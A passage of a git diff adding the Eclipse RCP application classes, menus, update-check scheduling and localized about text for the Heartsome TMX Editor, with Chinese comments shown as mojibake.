Ltd. All rights reserved.\n\n\ +Warning: This computer program is protected by copyright law and \ninternational treaties.\nUnauthorized modification or distribution of the program or its any \npart may result in severe civil and criminal penalties, prosecution \nto the maximum extent permitted by law. diff --git a/te/net.heartsome.cat.te/plugin_zh.properties b/te/net.heartsome.cat.te/plugin_zh.properties new file mode 100644 index 0000000..0d94dae --- /dev/null +++ b/te/net.heartsome.cat.te/plugin_zh.properties @@ -0,0 +1,6 @@ +about={2}\n\ +\u7248\u672c\uff1a{0} Build {1}\n\n\ +\u4ea7\u54c1\u4e3b\u9875\uff1ahttp://www.heartsome.net\n\ +\u6280\u672f\u652f\u6301\uff1ahttp://www.heartsome.net/CN/support.html\n\n\ +\u7248\u6743\u6240\u6709 (C) 2013 \u701a\u7279\u76db\u79d1\u6280\u6709\u9650\u516c\u53f8 \u4fdd\u7559\u6240\u6709\u6743\u5229\n\n\ +\u8b66\u544a\uff1a\u672c\u8ba1\u7b97\u673a\u7a0b\u5e8f\u53d7\u7248\u6743\u6cd5\u548c\u56fd\u9645\u6761\u7ea6\u4fdd\u62a4\u3002\n\u672a\u7ecf\u6388\u6743\u800c\u64c5\u81ea\u66f4\u6539\u6216\u5206\u53d1\u8be5\u7a0b\u5e8f\u6216\u5176\u4e2d\u7684\u4efb\u4f55\u90e8\u5206\uff0c\u4f1a\n\u5bfc\u81f4\u4e25\u5389\u7684\u6c11\u4e8b\u548c\u5211\u4e8b\u5904\u7f5a\uff0c\u5e76\u5c06\u5728\u6cd5\u5f8b\u5141\u8bb8\u7684\u6700\u5927\u8303\u56f4\n\u5185\u6536\u5230\u8d77\u8bc9\u3002\n diff --git a/te/net.heartsome.cat.te/splash.bmp b/te/net.heartsome.cat.te/splash.bmp new file mode 100644 index 0000000..4b748d4 Binary files /dev/null and b/te/net.heartsome.cat.te/splash.bmp differ diff --git a/te/net.heartsome.cat.te/src/net/heartsome/cat/te/Activator.java b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/Activator.java new file mode 100644 index 0000000..56581e8 --- /dev/null +++ b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/Activator.java @@ -0,0 +1,61 @@ +package net.heartsome.cat.te; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.te"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * Returns an image descriptor for the image file at the given + * plug-in relative path + * + * @param path the path + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } +} diff --git a/te/net.heartsome.cat.te/src/net/heartsome/cat/te/Application.java b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/Application.java new file mode 100644 index 0000000..9adff28 --- /dev/null +++ b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/Application.java @@ -0,0 +1,160 @@ +package net.heartsome.cat.te; + +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileReader; +import java.io.FileWriter; +import java.io.IOException; +import java.net.MalformedURLException; +import java.net.URL; + +import org.eclipse.core.runtime.IProduct; +import org.eclipse.core.runtime.Platform; +import org.eclipse.equinox.app.IApplication; +import org.eclipse.equinox.app.IApplicationContext; +import org.eclipse.osgi.service.datalocation.Location; +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.PlatformUI; + +/** + * This class controls all aspects of the application's execution + */ +public class Application implements IApplication { + + /* + * (non-Javadoc) + * + * @see org.eclipse.equinox.app.IApplication#start(org.eclipse.equinox.app.IApplicationContext) + */ + public Object start(IApplicationContext context) throws Exception { + OpenDocumentEventProcessor openDocProcessor = new OpenDocumentEventProcessor(); + + Display display = PlatformUI.createDisplay(); + display.addListener(SWT.OpenDocument, openDocProcessor); + + try { + IProduct product = Platform.getProduct(); + String id = product.getId(); + String hsVersion = ""; + if (id.equals("net.heartsome.cat.te.tmx_editor_product")) { + hsVersion = "F"; + } + System.getProperties().put("TSVersion", "88"); + System.getProperties().put("TSEdition", hsVersion); + + String versionDate = System.getProperty("date", ""); + String version = System.getProperty("version", ""); + System.getProperties().put("TSVersionDate", version + "." + versionDate); + checkCleanValue(); + + int returnCode = PlatformUI.createAndRunWorkbench(display, + new ApplicationWorkbenchAdvisor(openDocProcessor)); + if (returnCode == PlatformUI.RETURN_RESTART) + return IApplication.EXIT_RESTART; + else + return IApplication.EXIT_OK; + } finally { + display.dispose(); + } + + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.equinox.app.IApplication#stop() + */ + public void stop() { + if (!PlatformUI.isWorkbenchRunning()) + return; + final IWorkbench workbench = PlatformUI.getWorkbench(); + final Display display = workbench.getDisplay(); + display.syncExec(new Runnable() { + public void run() { + if (!display.isDisposed()) + workbench.close(); + } + }); + } + + /** + * 检查 osgi.clean 的值,如果为 true,就改为 false + * @param locale + * ; + */ + public void checkCleanValue() { + Location configArea = Platform.getInstallLocation(); + if (configArea == null) { + return; + } + + URL location = null; + try { + location = new URL(configArea.getURL().toExternalForm() + "configuration" + File.separator + "config.ini"); + } catch (MalformedURLException e) { + // This should never happen + } + + try { + String fileName = location.getFile(); + File file = new File(fileName); + fileName += ".bak"; + file.renameTo(new File(fileName)); + BufferedReader in = new BufferedReader(new FileReader(fileName)); + BufferedWriter out = null; + boolean isFind = false; + try { + String line = in.readLine(); + StringBuffer sbOut = new StringBuffer(); + while (line != null) { + if (line.trim().equals("osgi.clean=true")) { + sbOut.append("osgi.clean=false"); + isFind = true; + } else { + sbOut.append(line); + } + sbOut.append("\n"); + line = in.readLine(); + } + if (isFind) { + out = new BufferedWriter(new FileWriter(location.getFile())); + out.write(sbOut.toString()); + out.flush(); + } + } finally { + if (in != null) { + try { + in.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + if (out != null) { + try { + out.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + File tmpFile = new File(location.getFile() + ".bak"); + if (isFind) { + if (tmpFile.exists()) { + tmpFile.delete(); + } + } else { + tmpFile.renameTo(new File(location.getFile())); + } + } + } catch (FileNotFoundException e) { + e.printStackTrace(); + } catch (IOException e) { + e.printStackTrace(); + } + + } + +} diff --git a/te/net.heartsome.cat.te/src/net/heartsome/cat/te/ApplicationActionBarAdvisor.java b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/ApplicationActionBarAdvisor.java new file mode 100644 index 0000000..3a036c9 --- /dev/null +++ b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/ApplicationActionBarAdvisor.java @@ -0,0 +1,331 @@ +package net.heartsome.cat.te; + +import java.util.Arrays; +import java.util.List; + +import net.heartsome.cat.te.resource.Messages; + +import org.eclipse.core.runtime.IExtension; +import org.eclipse.jface.action.ActionContributionItem; +import org.eclipse.jface.action.GroupMarker; +import org.eclipse.jface.action.ICoolBarManager; +import org.eclipse.jface.action.IMenuManager; +import org.eclipse.jface.action.IToolBarManager; +import org.eclipse.jface.action.MenuManager; +import org.eclipse.jface.action.Separator; +import org.eclipse.jface.action.ToolBarContributionItem; +import org.eclipse.jface.action.ToolBarManager; +import org.eclipse.ui.IWorkbenchActionConstants; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.actions.ActionFactory; +import org.eclipse.ui.actions.ActionFactory.IWorkbenchAction; +import org.eclipse.ui.application.ActionBarAdvisor; +import org.eclipse.ui.application.IActionBarConfigurer; +import org.eclipse.ui.internal.IPreferenceConstants; +import org.eclipse.ui.internal.WorkbenchPlugin; +import org.eclipse.ui.internal.registry.ActionSetRegistry; +import org.eclipse.ui.internal.registry.IActionSetDescriptor; +import org.eclipse.ui.menus.IMenuService; + +/** + * An action bar advisor is responsible for creating, adding, and disposing of the actions added to a workbench window. + * Each window will be populated with new actions. + */ +@SuppressWarnings("restriction") +public class ApplicationActionBarAdvisor extends ActionBarAdvisor { + private final IWorkbenchWindow window; + + // Actions - important to allocate these only in makeActions, and then use + // them + // in the fill methods. This ensures that the actions aren't recreated + // when fillActionBars is called with FILL_PROXY. + + // tool bar context menu + private IWorkbenchAction lockToolBarAction; + + // file menu action + private IWorkbenchAction exitAction; + + // edit menu action + private IWorkbenchAction undoAction; + private IWorkbenchAction redoAction; + private IWorkbenchAction cutAction; + private IWorkbenchAction copyAction; + private IWorkbenchAction pasteAction; + private IWorkbenchAction deleteAction; + private IWorkbenchAction findAction; + + // help menu action + private IWorkbenchAction helpAction; + // private IWorkbenchAction helpSearchAction; + // private IWorkbenchAction dynamicHelpAction; + // private Action aboutAction; + + /** + * Indicates if the action builder has been disposed + */ + private boolean isDisposed = false; + + /** + * The coolbar context menu manager. + */ + private MenuManager coolbarPopupMenuManager; + + /** + * @param configurer + */ + public ApplicationActionBarAdvisor(IActionBarConfigurer configurer) { + super(configurer); + window = configurer.getWindowConfigurer().getWindow(); + } + + @Override + protected void makeActions(final IWorkbenchWindow window) { + + exitAction = ActionFactory.QUIT.create(window); + register(exitAction); +// exitAction.setImageDescriptor(Activator.getImageDescriptor("images/file/logout.png")); + exitAction.setText(Messages.getString("ts.ApplicationActionBarAdvisor.exitAction")); + + undoAction = ActionFactory.UNDO.create(window); + undoAction.setText(Messages.getString("ts.ApplicationActionBarAdvisor.undoAction")); + undoAction.setDisabledImageDescriptor(null); + register(undoAction); + + redoAction = ActionFactory.REDO.create(window); + redoAction.setText(Messages.getString("ts.ApplicationActionBarAdvisor.redoAction")); + redoAction.setDisabledImageDescriptor(null); + register(redoAction); + + cutAction = ActionFactory.CUT.create(window); + cutAction.setImageDescriptor(Activator.getImageDescriptor("images/edit/cut.png")); + cutAction.setText(Messages.getString("ts.ApplicationActionBarAdvisor.cutAction")); + cutAction.setDisabledImageDescriptor(null); + register(cutAction); + + copyAction = ActionFactory.COPY.create(window); + copyAction.setText(Messages.getString("ts.ApplicationActionBarAdvisor.copyAction")); + copyAction.setImageDescriptor(Activator.getImageDescriptor("images/edit/copy.png")); + copyAction.setDisabledImageDescriptor(null); + register(copyAction); + + pasteAction = ActionFactory.PASTE.create(window); + pasteAction.setText(Messages.getString("ts.ApplicationActionBarAdvisor.pasteAction")); + pasteAction.setImageDescriptor(Activator.getImageDescriptor("images/edit/paste.png")); + pasteAction.setDisabledImageDescriptor(null); + register(pasteAction); + + deleteAction = ActionFactory.DELETE.create(window); + deleteAction.setText(Messages.getString("ts.ApplicationActionBarAdvisor.deleteAction")); + deleteAction.setImageDescriptor(Activator.getImageDescriptor("images/edit/delete.png")); + register(deleteAction); + + findAction = ActionFactory.FIND.create(window); + findAction.setText(Messages.getString("ts.ApplicationActionBarAdvisor.findAction")); + findAction.setImageDescriptor(Activator.getImageDescriptor("images/edit/search_replace.png")); + register(findAction); + + lockToolBarAction = ActionFactory.LOCK_TOOL_BAR.create(window); + register(lockToolBarAction); + + helpAction = ActionFactory.HELP_CONTENTS.create(window); + helpAction.setText(Messages.getString("ts.ApplicationActionBarAdvisor.helpAction")); + helpAction.setImageDescriptor(Activator.getImageDescriptor("images/help/help.png")); + register(helpAction); + + removeUnusedAction(); + + } + + @Override + protected void fillMenuBar(IMenuManager menuBar) { + menuBar.add(createFileMenu()); + menuBar.add(createEditMenu()); + menuBar.add(new GroupMarker("view")); + menuBar.add(new GroupMarker("translation")); + menuBar.add(new GroupMarker("project")); + menuBar.add(new GroupMarker("database")); + menuBar.add(new GroupMarker("qa")); + menuBar.add(new GroupMarker("advance")); + menuBar.add(createHelpMenu()); + } + + @Override + protected void fillCoolBar(ICoolBarManager coolBar) { + // Set up the context Menu + coolbarPopupMenuManager = new MenuManager(); + coolbarPopupMenuManager.add(new ActionContributionItem(lockToolBarAction)); + coolBar.setContextMenuManager(coolbarPopupMenuManager); + IMenuService menuService = (IMenuService) window.getService(IMenuService.class); + menuService.populateContributionManager(coolbarPopupMenuManager, "popup:windowCoolbarContextMenu"); + + coolBar.add(new GroupMarker("group.file")); + + coolBar.add(new GroupMarker("group.search")); + createToolItem(coolBar); + + coolBar.add(new GroupMarker("group.new.menu")); + + coolBar.add(new GroupMarker("group.undoredo")); + + coolBar.add(new GroupMarker("group.tu")); + + coolBar.add(new GroupMarker("group.tmxtool")); + + coolBar.add(new GroupMarker("group.tmxclear")); + + coolBar.add(new GroupMarker("group.copySource")); + + coolBar.add(new GroupMarker("group.completeTranslation")); + + coolBar.add(new GroupMarker("group.approve")); + + coolBar.add(new GroupMarker("group.addTerm")); + + coolBar.add(new GroupMarker("group.preview")); + + coolBar.add(new GroupMarker("group.tagoperation")); + + coolBar.add(new GroupMarker("group.sourceoperation")); + + coolBar.add(new GroupMarker("group.deleteTrans")); + + coolBar.add(new GroupMarker("group.changeLayout")); + + coolBar.add(new GroupMarker(IWorkbenchActionConstants.MB_ADDITIONS)); + + coolBar.add(new GroupMarker(IWorkbenchActionConstants.GROUP_EDITOR)); + + coolBar.add(new GroupMarker(IWorkbenchActionConstants.GROUP_HELP)); + //未æä¾› 24 ä½å›¾æ ‡ï¼Œå±è”½å·¥å…·æ ã€‚ +// IToolBarManager toolbar = new ToolBarManager(coolBar.getStyle()); +// coolBar.add(new ToolBarContributionItem(toolbar, "help")); +// toolbar.add(helpAction); + } + + private IToolBarManager createToolItem(ICoolBarManager coolBar) { + IToolBarManager toolBar = new ToolBarManager(coolBar.getStyle()); + coolBar.add(new ToolBarContributionItem(toolBar, "findreplace")); + //没有设计 24 的图标,所以å±è”½å·¥å…·æ  +// toolBar.add(cutAction); +// toolBar.add(copyAction); +// toolBar.add(pasteAction); +// toolBar.add(findAction); + return toolBar; + } + + /** + * 创建文件èœå• + * @return 返回文件èœå•çš„ menu manager; + */ + private MenuManager createFileMenu() { + MenuManager menu = new MenuManager(Messages.getString("ts.ApplicationActionBarAdvisor.menu.file"), + IWorkbenchActionConstants.M_FILE); // &File + menu.add(new GroupMarker(IWorkbenchActionConstants.FILE_START)); + // 添加 new.ext group,这样 IDE 中定义的 Open File... å¯ä»¥æ˜¾ç¤ºåœ¨æœ€é¡¶ç«¯ + menu.add(new GroupMarker(IWorkbenchActionConstants.NEW_EXT)); + menu.add(new Separator()); + menu.add(new GroupMarker(IWorkbenchActionConstants.CLOSE_EXT)); + menu.add(new GroupMarker("xliff.switch")); + menu.add(new GroupMarker("rtf.switch")); + menu.add(new GroupMarker("xliff.split")); + menu.add(new Separator()); + // 设置ä¿å­˜æ–‡ä»¶è®°å½•æ¡æ•°ä¸º 5 æ¡ + WorkbenchPlugin.getDefault().getPreferenceStore().setValue(IPreferenceConstants.RECENT_FILES, 5); + menu.add(new GroupMarker(IWorkbenchActionConstants.HISTORY_GROUP)); + menu.add(exitAction); + menu.add(new GroupMarker(IWorkbenchActionConstants.FILE_END)); + return menu; + } + + /** + * 创建编辑èœå• + * @return 返回编辑èœå•çš„ menu manager; + */ + private MenuManager createEditMenu() { + MenuManager menu = new MenuManager(Messages.getString("ts.ApplicationActionBarAdvisor.menu.edit"), + IWorkbenchActionConstants.M_EDIT); // &Edit + menu.add(new GroupMarker(IWorkbenchActionConstants.EDIT_START)); + menu.add(new GroupMarker(IWorkbenchActionConstants.UNDO_EXT)); + menu.add(new Separator()); + menu.add(cutAction); + menu.add(copyAction); + menu.add(pasteAction); + menu.add(new GroupMarker(IWorkbenchActionConstants.CUT_EXT)); + menu.add(new Separator()); + menu.add(findAction); + menu.add(new GroupMarker(IWorkbenchActionConstants.FIND_EXT)); + menu.add(new GroupMarker(IWorkbenchActionConstants.EDIT_END)); + menu.add(new Separator()); + menu.add(new GroupMarker("taskEdit")); + return menu; + } + + /** + * 创建帮助èœå• + * @return 返回帮助èœå•çš„ menu manager; + */ + private MenuManager createHelpMenu() { + MenuManager menu = new MenuManager(Messages.getString("ts.ApplicationActionBarAdvisor.menu.help"), + IWorkbenchActionConstants.M_HELP); + // menu.add(new GroupMarker(IWorkbenchActionConstants.HELP_START)); + menu.add(helpAction); + // menu.add(helpSearchAction); + // menu.add(dynamicHelpAction); + // menu.add(new GroupMarker(IWorkbenchActionConstants.HELP_END)); + menu.add(new GroupMarker("help.keyAssist")); + menu.add(new Separator()); + menu.add(new GroupMarker("help.updatePlugin")); + menu.add(new Separator()); + menu.add(new GroupMarker("help.license")); + // 关于èœå•éœ€è¦å§‹ç»ˆæ˜¾ç¤ºåœ¨æœ€åº•ç«¯ + menu.add(new GroupMarker("group.about")); + // ActionContributionItem aboutItem = new ActionContributionItem(aboutAction); + // aboutItem.setVisible(!Util.isMac()); + // menu.add(aboutItem); + return menu; + } + + /** + * 创建自定义的æ’件èœå• 2012-03-07 + * @return ; + */ + /* + * private MenuManager createAutoPluginMenu() { MenuManager menu = new MenuManager("asdfasd", + * "net.heartsome.cat.ts.ui.menu.plugin"); // menu = MenuManag + * + * // menu.appendToGroup(groupName, item) menu.add(helpSearchAction); return menu; } + */ + + @Override + public void dispose() { + if (isDisposed) { + return; + } + isDisposed = true; + IMenuService menuService = (IMenuService) window.getService(IMenuService.class); + menuService.releaseContributions(coolbarPopupMenuManager); + coolbarPopupMenuManager.dispose(); + super.dispose(); + } + + /** + * 移除无用的èœå•é¡¹ï¼š
    + * File èœå•ä¸‹çš„“open file...â€å’Œâ€œConvert Line Delimiters To†+ */ + private void removeUnusedAction() { + ActionSetRegistry reg = WorkbenchPlugin.getDefault().getActionSetRegistry(); + IActionSetDescriptor[] actionSets = reg.getActionSets(); + + List actionSetIds = Arrays.asList("org.eclipse.ui.actionSet.openFiles", + "org.eclipse.ui.edit.text.actionSet.convertLineDelimitersTo", + "org.eclipse.ui.actions.showKeyAssistHandler", "org.eclipse.ui.edit.text.actionSet.navigation", + "org.eclipse.ui.edit.text.actionSet.annotationNavigation"); + for (int i = 0; i < actionSets.length; i++) { + if (actionSetIds.contains(actionSets[i].getId())) { + IExtension ext = actionSets[i].getConfigurationElement().getDeclaringExtension(); + reg.removeExtension(ext, new Object[] { actionSets[i] }); + } + } + } +} diff --git a/te/net.heartsome.cat.te/src/net/heartsome/cat/te/ApplicationWorkbenchAdvisor.java b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/ApplicationWorkbenchAdvisor.java new file mode 100644 index 0000000..f932c6a --- /dev/null +++ b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/ApplicationWorkbenchAdvisor.java @@ -0,0 +1,52 @@ +package net.heartsome.cat.te; + +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.application.IWorkbenchConfigurer; +import org.eclipse.ui.application.IWorkbenchWindowConfigurer; +import org.eclipse.ui.application.WorkbenchAdvisor; +import org.eclipse.ui.application.WorkbenchWindowAdvisor; +import org.eclipse.ui.model.ContributionComparator; +import org.eclipse.ui.model.IContributionService; + +public class ApplicationWorkbenchAdvisor extends WorkbenchAdvisor { + + private static final String PERSPECTIVE_ID = "net.heartsome.cat.te.perspective"; //$NON-NLS-1$ + + private OpenDocumentEventProcessor openDocProcessor; + + public ApplicationWorkbenchAdvisor(OpenDocumentEventProcessor openDocProcessor) { + this.openDocProcessor = openDocProcessor; + } + + public WorkbenchWindowAdvisor createWorkbenchWindowAdvisor(IWorkbenchWindowConfigurer configurer) { + return new ApplicationWorkbenchWindowAdvisor(configurer); + } + + public String getInitialWindowPerspectiveId() { + return PERSPECTIVE_ID; + } + + @Override + public void initialize(IWorkbenchConfigurer configurer) { + super.initialize(configurer); + configurer.setSaveAndRestore(true); + } + + /** + * 对首选项èœå•æŽ’åºæ—¶ï¼Œéœ€è¦è¦†ç›–该方法 + */ + public ContributionComparator getComparatorFor(String contributionType) { + if (contributionType.equals(IContributionService.TYPE_PREFERENCE)) { + return new PreferencesComparator(); + } else { + return super.getComparatorFor(contributionType); + } + } + + @Override + public void eventLoopIdle(Display display) { + openDocProcessor.openFiles(); + super.eventLoopIdle(display); + } + +} diff --git a/te/net.heartsome.cat.te/src/net/heartsome/cat/te/ApplicationWorkbenchWindowAdvisor.java b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/ApplicationWorkbenchWindowAdvisor.java new file mode 100644 index 0000000..61675a6 --- /dev/null +++ b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/ApplicationWorkbenchWindowAdvisor.java @@ -0,0 +1,160 @@ +package net.heartsome.cat.te; + +import java.io.File; +import java.util.ArrayList; +import java.util.Calendar; +import java.util.List; + +import net.heartsome.cat.p2update.autoupdate.AutomaticUpdate; +import net.heartsome.cat.te.core.utils.TeCoreUtils; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer; +import net.heartsome.cat.te.tmxeditor.editor.history.OpenRecord; +import net.heartsome.cat.te.ui.preferencepage.IPreferenceConstants; + +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.application.ActionBarAdvisor; +import org.eclipse.ui.application.IActionBarConfigurer; +import org.eclipse.ui.application.IWorkbenchWindowConfigurer; +import org.eclipse.ui.application.WorkbenchWindowAdvisor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class ApplicationWorkbenchWindowAdvisor extends WorkbenchWindowAdvisor { + public static final Logger LOGGER = LoggerFactory.getLogger(ApplicationWorkbenchWindowAdvisor.class); + private static final String AUTO_UPDATE_FLAG = "AUTO_UPDATE_FLAG"; + public ApplicationWorkbenchWindowAdvisor(IWorkbenchWindowConfigurer configurer) { + super(configurer); + } + + public ActionBarAdvisor createActionBarAdvisor(IActionBarConfigurer configurer) { + return new ApplicationActionBarAdvisor(configurer); + } + + public void preWindowOpen() { + IWorkbenchWindowConfigurer configurer = getWindowConfigurer(); + configurer.setShowCoolBar(true); + configurer.setShowProgressIndicator(true); + configurer.setShowStatusLine(false); + Rectangle clientArea = Display.getDefault().getClientArea(); + configurer.setInitialSize(new Point(clientArea.width, clientArea.height)); + } + + @Override + public void postWindowOpen() { + TeCoreUtils.closeQAViewer(); + reconverOpenFile(); + // 自动检查更新 + automaticCheckUpdate(); + } + + + /** + * æ¢å¤ä¸Šæ¬¡æœªæ­£å¸¸å…³é—­çš„文件 + * ; + */ + private void reconverOpenFile() { + final String mainFile = new OpenRecord().getOpenRecord(); + if (mainFile == null || mainFile.length() == 0) { + return; + } + File f = new File(mainFile); + if (f.isDirectory() || !f.exists()) { + return; + } + + // 临时文件夹 + String fileParentLC = f.getParentFile().getAbsolutePath(); + String tmxTempFolderLC = fileParentLC + File.separator + "." + (f.getName()) + "_folder"; + File tmxTempFolder = new File(tmxTempFolderLC); + if (!tmxTempFolder.exists()) { + return; + } + final File[] subFiles = tmxTempFolder.listFiles(); + if (subFiles == null || subFiles.length == 0) { + return; + } + final List sfs = new ArrayList(); + for (File sf : subFiles) { + sfs.add(sf.getAbsolutePath()); + } + TmxEditorViewer.getInstance().recoverOpen(mainFile, sfs); + } + + private void automaticCheckUpdate() { + // 自动检查更新 + final IPreferenceStore prefStore = net.heartsome.cat.te.ui.Activator.getDefault().getPreferenceStore(); + int updatePolicy = prefStore.getInt(IPreferenceConstants.SYSTEM_AUTO_UPDATE); + boolean flg = false; + if (updatePolicy == IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_NEVER) { + return; + } else if (updatePolicy == IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_STARTUP) { + // å¯åŠ¨æ—¶æ£€æŸ¥æ›´æ–° + flg = true; + } else if (updatePolicy == IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_MONTHLY) { + // æ¯æœˆ xx 日检查更新 + int day = prefStore.getInt(IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_MONTHLY_DATE); + Calendar c = Calendar.getInstance(); + int cYear = c.get(Calendar.YEAR); + int cMoth = c.get(Calendar.MONTH) + 1; + int cDay = c.get(Calendar.DAY_OF_MONTH); + String preUpdateDay = prefStore.getString("AUTO_UPDATE_FLAG"); + if (preUpdateDay.equals("")) { + if (cDay == day) { + flg = true; + prefStore.setValue("AUTO_UPDATE_FLAG", cYear + "-" + cMoth + "-" + cDay); + } + } else { + String[] ymdStr = preUpdateDay.split("-"); + Calendar uc = Calendar.getInstance(); + int uYeaer = Integer.parseInt(ymdStr[0]); + int uMonth = Integer.parseInt(ymdStr[1]); + int uDay = Integer.parseInt(ymdStr[2]); + uc.set(uYeaer, uMonth - 1, uDay); + if(cDay == day && c.getTime().compareTo(uc.getTime()) > 0){ + flg = true; + prefStore.setValue("AUTO_UPDATE_FLAG", cYear + "-" + cMoth + "-" + cDay); + }else if( cDay > day && (uYeaer < cYear || uMonth < cMoth )){ + flg = true; + prefStore.setValue("AUTO_UPDATE_FLAG", cYear + "-" + cMoth + "-" + cDay); + } + } + } else if (updatePolicy == IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_WEEKLY) { + // æ¯å‘¨ xx 日检查更新 + int weekday = prefStore.getInt(IPreferenceConstants.SYSTEM_CHECK_UPDATE_WITH_WEEKLY_DATE); + Calendar c = Calendar.getInstance(); + int cWeekDay = c.get(Calendar.DAY_OF_WEEK); + int cYear = c.get(Calendar.YEAR); + int cMoth = c.get(Calendar.MONTH) + 1; + int cDay = c.get(Calendar.DAY_OF_MONTH); + String preUpdateDay = prefStore.getString(AUTO_UPDATE_FLAG); + if (preUpdateDay.equals("")) { + if (cWeekDay == weekday) { + flg = true; + prefStore.setValue(AUTO_UPDATE_FLAG, cYear + "-" + cMoth + "-" + cDay); + } + } else { + String[] ymdStr = preUpdateDay.split("-"); + Calendar uc = Calendar.getInstance(); + int uYeaer = Integer.parseInt(ymdStr[0]); + uc.set(uYeaer, Integer.parseInt(ymdStr[1]) - 1, Integer.parseInt(ymdStr[2])); + + if (cWeekDay == weekday && c.getTime().compareTo(uc.getTime()) > 0) { + flg = true; + prefStore.setValue(AUTO_UPDATE_FLAG, cYear + "-" + cMoth + "-" + cDay); + }else if(cWeekDay > weekday && (uYeaer < cYear || uc.get(Calendar.WEEK_OF_YEAR) < c.get(Calendar.WEEK_OF_YEAR))){ + flg = true; + prefStore.setValue(AUTO_UPDATE_FLAG, cYear + "-" + cMoth + "-" + cDay); + } + } + } + + if (!flg) { + return; + } + AutomaticUpdate checker = new AutomaticUpdate(); + checker.checkForUpdates(); + } +} diff --git a/te/net.heartsome.cat.te/src/net/heartsome/cat/te/OpenDocumentEventProcessor.java b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/OpenDocumentEventProcessor.java new file mode 100644 index 0000000..ceb9b8a --- /dev/null +++ b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/OpenDocumentEventProcessor.java @@ -0,0 +1,47 @@ +/** + * OpenDocumentEventProcessor.java + * + * Version information : + * + * Date:2013-12-26 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te; + +import java.io.File; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer; + +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class OpenDocumentEventProcessor implements Listener { + private List filesToOpen = new ArrayList(1); + + public void handleEvent(Event event) { + if (event.text != null) + filesToOpen.add(event.text); + } + + public void openFiles() { + if (filesToOpen.isEmpty()) + return; + String path = filesToOpen.get(filesToOpen.size() - 1); + filesToOpen.clear(); + File f = new File(path); + if (f.exists() && f.isFile()) { + TmxEditorViewer.getInstance().open(f); + } + } +} diff --git a/te/net.heartsome.cat.te/src/net/heartsome/cat/te/PreferencesComparator.java b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/PreferencesComparator.java new file mode 100644 index 0000000..4110d5f --- /dev/null +++ b/te/net.heartsome.cat.te/src/net/heartsome/cat/te/PreferencesComparator.java @@ -0,0 +1,36 @@ +package net.heartsome.cat.te; + +import org.eclipse.ui.internal.dialogs.WorkbenchPreferenceNode; +import org.eclipse.ui.model.ContributionComparator; +import org.eclipse.ui.model.IComparableContribution; + +/** + * 用户对首选项èœå•è¿›è¡ŒæŽ’åºçš„ç±» + * Tsä¸­å¯¹é¦–å…ˆé¡¹è¿›è¡ŒæŽ’åº [copy by yule] + * @author peason + * @version + * @since JDK1.6 + */ +@SuppressWarnings("restriction") +public class PreferencesComparator 